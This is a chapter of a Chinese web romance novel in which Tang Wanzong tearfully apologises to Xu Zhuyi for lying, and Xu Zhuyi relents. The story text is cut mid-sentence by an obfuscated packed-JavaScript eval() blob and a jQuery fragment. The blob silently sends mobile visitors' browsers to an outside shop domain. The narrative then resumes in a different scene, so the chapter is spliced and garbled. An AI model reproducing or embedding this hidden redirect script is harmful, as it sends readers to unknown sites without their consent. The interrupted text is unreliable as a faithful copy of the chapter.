28.认错

作品:《你可以教教我吗

    许逐意觉得应该是自己看错了。


    也希望是自己看错了。


    但当真的转过头去,面对那张熟悉的面孔时,他还是没法骗自己。


    没法马上转身上楼,也没法马上开口。


    汤挽宗就站在那里,站在之前许逐意捡到他的花坛边。


    这次没有受伤、也没有脏兮兮,只是鼻子耳朵冻得通红,巴巴看着他不敢靠近。


    好不容易忘记的、压下去的情绪从心中又翻涌上来。本以为已经不会生气,但真面对面了,许逐意又感觉到自己开始不开心。


    他皱眉,有几分无奈地开口:“不是让你别找我吗?”


    男人声音压得低,分贝不大,风一吹就散了,冷了。


    落在汤挽宗耳朵里是模模糊糊的一团。


    但男孩却没有听不清,像是在肚子里准备过百千遍似的马上脱口,小心翼翼、可怜兮兮地说:“今天赢了,队里放假。”


    高大的个子却没穿多厚的衣服,电线杆一样僵硬地杵在原地,两只手都贴裤缝放整齐。


    许逐意看他这幅样子,想再说点什么,想让他回去。


    但话还没酝酿好,就听汤挽宗又道:“……哥哥。”


    很久违的一声。


    也很示弱的语气,放低音量,跟他求饶,“别赶我走,好不好?”


    “……”许逐意沉默了下来,也把下巴往衣领更深处埋。


    双手插兜站在原地,站了好几秒钟,许逐意还是别过脸哑道:“你有话就说吧。”


    面前马上凝聚起因说话而出现的白雾。


    不知是天气太冷,还是天空太阴,没有阳光的冬日黄昏暗沉沉,把许逐意别过脸而露出的下颚线勾勒得特别锋利。


    也特别生人勿进。


    那突然的分别让他们之间的关系迅速降温,汤挽宗能很明显地感觉出来——


    许逐意对他与之前相比不一样了。


    像是冷静下来了,也像是把他推远了。


    他还从没有被许逐意这样的态度对待过。


    之前也只见男人这样对过祝扬。


    汤挽宗知道是自己做错。当初为了留下,顺着许逐意的话就私心隐瞒了有处可去的真相。他已经说服自己接受了许逐意会讨厌他的事实,也收起了所有的渴求与奢望,今天只是为了道歉而来。


    比赛赢得很漂亮,姚经理批准各位队员们可以外出放松一下,吃个饭,但晚上要回基地开会。


    时间紧迫,所以汤挽宗只是低头缓了一下,就直奔主题,很认真很认真地对许逐意说:“对不起。”


    许逐意依然不看他,也不说话。


    但站着没动,没有马上离开。


    沉默的空气仿佛能慢慢抽走人的体温,汤挽宗在沉默中感觉越来越冷。


    他吸一口气,调整自己的情绪,继续把这两天想好的、要说的话缓缓道出口:“哥哥,对不起,我错了。


    “我不该故意骗你、隐瞒你,让你什么都不知道,还要替我操心。”他垂在身侧的手慢慢抓紧衣服下摆,“你讨厌我没关系,觉得我可恶、不想原谅我也行。借住的费用……我会微信转账给你,添麻烦了,对不起。”


    重复的道歉说得差不多,他捏衣服下摆的手越来越紧。汤挽宗呼一口气,微微抖着唇,把打过腹稿的最后一点点艰难地说完:“我以后……”


    但才说三个字又顿了下才继续,“……保证,再也不说谎了。”他说。


    也不会再来打扰你,不会想和你靠近,不会再恬不知耻地想要一个答案——接下去的话本应该是这样的,但到嘴边,汤挽宗感觉自己就好像被夺舍,他说不出口。因为觉得自己就算说出口了也做不到,那就又在骗人了。


    许逐意看着他把头埋得低低的,话音也越来越低、越来越小。


    总感觉好像气氛再延续下去、话再说下去,小孩要哭了。


    他不想看汤挽宗哭,想想都要疯了。许逐意吸一口气,还是没办法地转过头,朝那个好像触犯天条一样傻楞在远处的男孩看去,“你……”


    刚开口说一个字,就看见汤挽宗的眼泪已经掉下来。


    大约是觉得自己很失态,汤挽宗惊慌失措地后退,胡乱抹过脸,头也不抬就转身想跑。


    许逐意一箭步上前把人拉住。


    惯性让汤挽宗往后趔趄,险些跌到许逐意怀里。高大的少年佝着背,像是生怕触碰到他、添麻烦,马上站直了,一秒都没多靠近。


    “哭什么?”许逐意语气冷淡,从口袋里拿出纸,这种时候已经管不上那么多,也无视汤挽宗的躲避,强硬往人脸上擦,毫不拐弯抹角地问,“我欺负你了吗?”


    汤挽宗一副被他举动吓到的样子,呆愣愣的,闻言直摇头。


    “那你哭什么?”许逐意不擅长应付这种情绪,也是第一次这样明显地表现出自己生气——虽然他以为自己早就不在乎了——只会直白地询问,听上去很不近人情。


    也不知是不是被他凶到,汤挽宗不说话,就瞪着双大眼睛,怯怯地看他,不断在眼眶蓄积的泪水再次滑下来,顺着脸颊,停在下巴。


    “……”许逐意没忍住又要上手。


    “哥哥。”汤挽宗赶紧截住,拿过纸巾自己擦拭,擦完后红着眼眶,可怜巴巴看他,小声说,“……对不起。”


    又是“对不起”。


    还以为这样说了能听到两句新鲜的,何况掉个眼泪道什么歉。许逐意叹出口气,语气不自觉缓下来些:“光听你说这个可没法消气。”


    汤挽宗:“我……”


    “你还是希望我原谅你,对不对?”汤挽宗不说,许逐意就自己猜,并定定看着面前少年的脸,通过表情判断自己应该是猜得八九不离十。


    汤挽宗没点头也没摇头。


    确实是被许逐意说对了。可这种请求承认的话是不是显得他也太厚脸皮,会让许逐意觉得他更加讨厌吗?


    能感觉得出来,许逐意对他应该是还没有消气的。从冷淡的语气和那算不上温柔的动作中都能感觉到,这次生气比上次他没打报告就偷溜出去要严重多了。原来许逐意真的生气起来,是这样子的吗?


    想着想着,汤挽宗不自觉又把头低下。


    “说话。”耳边却落下命令的一句。


    男人冰凉的虎口忽然卡住他下巴,强迫他抬起头,撞进那双没有温度的、琥珀色的瞳孔里。


    “嗯、嗯。”汤挽宗条件反射般回答。


    他答完就感觉脸迅速升温了,看着眼前的男人大气不敢出。全身上下神经都不自觉紧绷起来,全神贯注地等待下一个指令。


    但许逐意很快就把他放开了。


    像是也在注意两人之间肢体接触的时间与尺度,男人在寒风中后退一步,身上短款黑皮衣的领子被吹起来盖住脖颈,汤挽宗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054223|190590||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心跳还没缓过劲,咚咚、咚咚,很快也很用力,听见许逐意问他“为什么”。


    “因为……”汤挽宗的目光无意识扫过许逐意垂在身侧的手,又很快挪开,他喉结微动,感觉自己思绪乱了心也乱了,分明是来道歉的,分明是来告别的,心中抑制不住的情感却又占据了脑海。


    一句“因为”嗫嚅了半晌,许逐意好似很耐心地一定要等到回答,汤挽宗垂下眼,小声说:“因为,哥哥。”


    不清不楚的一句。


    “嗯?”许逐意没明白。


    他两手插在口袋里,盯着汤挽宗微微歪头。


    小区里路灯这时候亮起来了,惨白的光照在男人冷峻的脸上,黑色皮衣衬雪白的皮肤。


    许逐意是模特,本来就长得漂亮、比例好,笑起来时眉眼弯弯,让人移不开目光,汤挽宗总不自觉地偷看、多看一会儿;可此刻这男人分明在生气,分明气场让人觉得很有距离,他却找虐似的还是想靠近。


    为什么呢?汤挽宗也问自己。答案其实早就很清楚了,否则他也不会像个变态一样鬼鬼祟祟惦记这个人这么多年,不会一回到这座城市就开始寻找那个给自己买过糖的身影,不会每每心情糟糕时觉得无处可去就下意识找到这里、但永远只敢在楼下坐一会就离开。


    因为喜欢哥哥。


    因为想靠近哥哥。


    但是,又怕打扰哥哥。


    他知道男人那层冷霜般的外壳下是温柔到能熨帖他伤口的心,外面多冷里面就多热,他曾经近在咫尺,差点就触碰到了。


    这些话要怎么说出口呢?


    也许时间拉回几个星期前喝醉酒的那天,如果没有断片、没有昏睡过去,或许就真的出口了。


    但现在,汤挽宗觉得,他应该已经失去了最好的也是唯一的机会。


    此刻他甚至不敢向许逐意确认那天自己是否有过冒犯之举。


    “说不上来吗?”也许是看他沉默太久,许逐意又开口了。


    突然响起的话音让汤挽宗一下从出走的思绪中惊醒,才发现自己视线不知不觉又有点模糊。


    他眨眼,眨掉泪花,回过神听见许逐意轻轻地叹了口气,纤细的眉毛微微拧起,露出一副“真拿你没办法”的表情,道:“那换个问题。”


    实际上,许逐意还有很多想听汤挽宗解释的。


    比如为什么选择在他家暂时住下,为什么要骗他,又为什么那天满身狼狈还受了伤,聊过的天中真话到底有多少。


    但眼前的少年红着脸泪眼婆娑,看得出悔意之切,寒风阵阵,汤挽宗穿得不多,外套让吹得贴在身子上,却好像顾不上冷,傻傻看着他等待被提问。


    按理说,不该心软的,许逐意也知道。


    作为被骗的人他如何生气都理所应当,直接无视转身离开也无可厚非,况且此刻的汤挽宗没有像之前那样讨巧撒娇,没有卖乖,只是怕得悔得在哭。


    小骗子流流眼泪才长记性。


    可他很没出息地,就是狠不下心。


    谁十九岁时没有秘密,谁十九岁时没撒过谎?


    汤挽宗的谎言也没造成任何实质性损失。


    许逐意忽然就不想表现得多严厉了。


    他随意地歪头,眼睛看向斜下方,语气不是很认真,只是为了让看起来过分紧张的汤挽宗放松,转移话题:“给你买糖吃,然后别哭了,跟我好好说,好吗?”